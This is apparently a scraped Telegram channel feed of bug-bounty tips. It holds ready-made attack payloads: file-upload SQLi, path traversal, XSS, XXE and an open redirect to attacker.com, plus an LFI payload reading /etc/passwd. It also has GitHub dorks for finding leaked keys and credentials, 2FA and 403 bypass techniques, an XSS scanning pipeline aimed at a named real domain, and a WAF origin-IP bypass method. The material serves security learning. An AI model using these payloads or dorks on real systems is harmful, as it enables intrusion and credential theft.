Brut Security
14.8K subscribers
941 photos
73 videos
287 files
985 links
βœ…Queries: @wtf_brut
πŸ›ƒWhatsApp: wa.link/brutsecurity
🈴Training: brutsec.com
πŸ“¨E-mail: [email protected]
Download Telegram
JWT_Hacking.pdf
226.3 KB
πŸ”₯4
Attacking_AWS.pdf
1.6 MB
πŸ”₯4
Now you can detect phishing websites quickly with Nuclei❀

nuclei -l websites_Possible_Phishing -tags phishing -itags phishing
Please open Telegram to view this post
VIEW IN TELEGRAM
❀3πŸ”₯3πŸ‘1
Pwning_the_Domain_DACL_Abuse_EBook.pdf
3.6 MB
❀3πŸ‘1πŸ”₯1
πŸ”₯8
πŸ–₯Chaining Vulnerabilities through File UploadπŸ–₯

SLQi⏳
'sleep(20).jpg
sleep(25)-- -.jpg


Path traversal⏳
../../etc/passwd/logo.png
../../../logo.png


XSS⏳
->  Set file name filename="svg onload=alert(document.domain)>" , filename="58832_300x300.jpg<svg onload=confirm()>"

-> Upload using .gif file
GIF89a/<svg/onload=alert(1)>/=alert(document.domain)//;

-> Upload using .svg file
<svg xmlns="w3.org/2000/svg" onload="alert(1)"/>

-> <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "w3.org/Graphics/SVG/1…"><svg version="1.1" baseProfile="full" xmlns="w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>


Open redirect ⏳
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='attacker.com'"
xmlns="w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>

XXE ⏳
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="w3.org/2000/svg" xmlns:xlink="w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>
Please open Telegram to view this post
VIEW IN TELEGRAM
❀13πŸ‘6πŸ”₯1
Blind SQL Injection Detection and Exploitation (Cheat Sheet)
πŸ‘Ž4πŸ”₯2😁1
1711031051425.jpg
1.4 MB
πŸ”₯4❀1
2FA Bypass Techniques

1. Response manipulation
2. Status code manipulation
3. 2FA code reusability
4. 2FA code leakage
5. Lack of brute-force protection
6. Bypassing 2FA with null or 000000
8. Missing 2FA code integrity validation
9.Handling of Previous Sessions
πŸ”₯12πŸ‘5
SQL injection Oneliner
πŸ”₯12πŸ‘4
πŸ”₯πŸ”₯Github-DorkπŸš€πŸš€πŸ”₯πŸ”₯

Happy Hunting

πŸ” api_key
πŸ” app_AWS_SECRET_ACCESS_KEY
πŸ” app_secret
πŸ” authoriztion
πŸ” Ldap
πŸ” aws_access_key_id
πŸ” secret
πŸ” bash_history
πŸ” bashrc%20password
πŸ” beanstalkd
πŸ” client secre
πŸ” composer
πŸ” config
πŸ” credentials
πŸ” DB_PASSWORD
πŸ” dotfiles
πŸ” .env file
πŸ” .exs file
πŸ” extension:json mongolab.com
πŸ” extension:pem%20private
πŸ” extension:ppk private
πŸ” extension:sql mysql dump
πŸ” extension:yaml mongolab.com
πŸ” .mlab.com password
πŸ” mysql
πŸ” npmrc%20_auth
πŸ” passwd
πŸ” passkey
πŸ” rds.amazonaws.com password
πŸ” s3cfg
πŸ” send_key
πŸ” token
πŸ” filename:.bash_history
πŸ” filename:.bash_profile aws
πŸ” filename:.bashrc mailchimp
πŸ” filename:CCCam.cfg
πŸ” filename:config irc_pass
πŸ” filename:config.php dbpasswd
πŸ” filename:config.json auths
πŸ” filename:config.php pass
πŸ” filename:config.php dbpasswd
πŸ” filename:connections.xml
πŸ” filename:.cshrc
πŸ” filename:.git-credentials
πŸ” filename:.ftpconfig
πŸ” filename:.history
πŸ” filename:gitlab-recovery-codes.txt
πŸ” filename:.htpasswd
πŸ” filename:id_rsa
πŸ” filename:.netrc password
πŸ” FTP
πŸ” filename:wp-config.php
πŸ” git-credentials
πŸ” github_token
πŸ” HEROKU_API_KEY language:json
πŸ” HEROKU_API_KEY language:shell
πŸ” GITHUB_API_TOKEN language:shell
πŸ” oauth
πŸ” OTP
πŸ” databases password
πŸ” [WFClient] Password= extension:ica
πŸ” xoxa_Jenkins
πŸ” security_credentials

#bugbountytips #GitHub
πŸ”₯6πŸ‘4
πŸ”₯5πŸ‘1
SQL Injection Auth Bypass
πŸ”₯6πŸ‘4πŸ₯°1πŸ‘1
Deep Dive into Networking.pdf
9.3 MB
πŸ”₯4πŸ‘2
Find xss with this automation of the following work
1 subfinder -d indeed.com -o indeed.txt //Find Subdomains
2 httpx -l subdomains.txt -o httpx.txt // Live Subdomains
3 echo "indeed.com" | gau --threads 5 >> Enpoints.txt // Find Endpoints
4 cat httpx.txt | katana -jc >> Enpoints.txt // Find More Endpoints
5 cat Enpoints.txt | uro >> Endpoints_F.txt // Remove Duplicates
6 cat Endpoints_F.txt | gf xss >> XSS.txt // Filter Endpoints for XSS
7 cat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt // Find reflected Parameters
8 dalfox file XSS_Ref.txt -o Vulnerable_XSS.txt // Find XSS

Script https://github.com/dirtycoder0124/xss
πŸ‘12🫑3πŸ’˜1
πŸ’ŽLFI TIP BY KANAHIYAπŸ’Ž

1- on visiting url https://domain.tld it were redirecting first to https://domain.tod/dir1/dir2 then to sso login

2- Fuzzed after first redirection

3- https://domain.tld/dir1/dir2/FUZZ

4- this payload leads to 200 ok & disclosed all local files

////////////////../../../../../../../../etc/passwd

5- tried other local files
/etc/hosts
/etc/shells
/proc/self/environ
/bin/sh
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘13
Bug Bounty Tips: Discovering the Origin IP by scanning your target IP range

When you're hunting on a bug bounty target and WAF stands in your way, here's a powerful technique to uncover the Origin IP by scanning the target's IP range.

We'll be using a simple yet effective tool called hakoriginfinder by hakluke! Get it at https://github.com/hakluke/hakoriginfinder

Here's my methodology to find the Origin IP using this tool and technique:

Discover your target's ASN and check https://bgp.he.net/AS33848#_prefixes?

Make a note of the target's IP range.
Assuming you have a WAF-protected domain called example[.]com. Use this command with the IP range Identified in step 1 and pass your target host against the -h parameter:

prips 93.184.216.0/24 | hakoriginfinder -h example[.]com

If you receive a "MATCH" output, there's a strong likelihood that you've successfully identified the Origin IP. Now, you can send requests with the same Host header to bypass WAF or for whatever your mission requires. Happy hunting!

credit:- Jayesh
❀9πŸ‘3πŸ‘1
Use these tools to bypass 403 most time it give false postive always check for content length.Both tool bypass protocol based,header based,path based and more techniques.
https://github.com/Dheerajmadhukar/4-ZERO-3
https://github.com/yunemse48/403bypasser
❀7